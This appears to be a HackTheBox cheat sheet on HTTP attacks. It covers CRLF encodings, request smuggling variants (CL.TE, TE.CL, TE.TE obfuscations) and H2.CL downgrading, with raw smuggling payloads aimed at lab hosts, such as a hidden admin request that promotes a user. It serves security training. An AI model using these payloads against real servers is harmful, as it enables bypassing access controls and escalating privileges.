HACKTHEBOX

HTTP ATTACKS
CHEAT SHEET

CRLF Injection

Description	Character	ASCII (Decimal)	ASCII (Hex)	URL Encoded
Carriage Return	`\r`	`13`	`0x0D`	`%0D`
Line Feed	`\n`	`10`	`0x0A`	`%0A`

Request Smuggling

Content-Length

- request body length specified in the `Content-Length` header

```
POST / HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

param1=HelloWorld&param2=Test
```

Chunked Encoding

- `Transfer-Encoding` header set to `chunked` to specify chunked encoding
- Each chunk contains the chunk length in hex followed by a newline and the chunk data
- Request terminated with empty chunk `0`

```
POST / HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

1d
param1=HelloWorld&param2=Test
```

```
0
```

CL.TE Vulnerability

- reverse proxy uses the `Content-Length` header, web server uses the `Transfer-Encoding` header

```
POST / HTTP/1.1
Host: clte.htb
Content-Length: 52
Transfer-Encoding: chunked

0

POST /admin.php?promote_uid=2 HTTP/1.1
Dummy:
```

TE.CL Vulnerability

- reverse proxy uses the `Transfer-Encoding` header, web server uses the `Content-Length` header

```
GET /404 HTTP/1.1
Host: tecl.htb
Content-Length: 4
Transfer-Encoding: chunked

27
GET /admin HTTP/1.1
Host: tecl.htb


0
```

TE.TE Vulnerability

- obfuscate `Transfer-Encoding` header from one of the systems to provoke a CL.TE or TE.CL vulnerability

Description	Header
Substring match	`Transfer-Encoding: testchunked`
Space in Header name	`Transfer-Encoding : chunked`
Horizontal Tab Separator	`Transfer-Encoding:[\x09]chunked`

Description	Header
Vertical Tab Separator	`Transfer-Encoding:[\x0b]chunked`
Leading space	`Transfer-Encoding: chunked`

HTTP/2 Downgrading

- HTTP/2 is a binary protocol
- HTTP/2 uses pseudo-headers:
  - `:method`: the HTTP method
  - `:scheme`: the protocol scheme (typically `http` or `https`)
  - `:authority`: similar to the HTTP `Host` header
  - `:path`: the requested path including the query string
- HTTP/2 downgrading occurs when the reverse proxy rewrites an HTTP/2 request from the client to an HTTP/1.1 request which is forwarded to the web server

H2.CL vulnerability

- Injection of a `Content-Length` header which is used by the web server after the request was rewritten by the reverse proxy

```
POST /index.php HTTP/2
Host: http2.htb
Content-Length: 0

POST /index.php?reveal_flag=1 HTTP/1.1
Foo:
```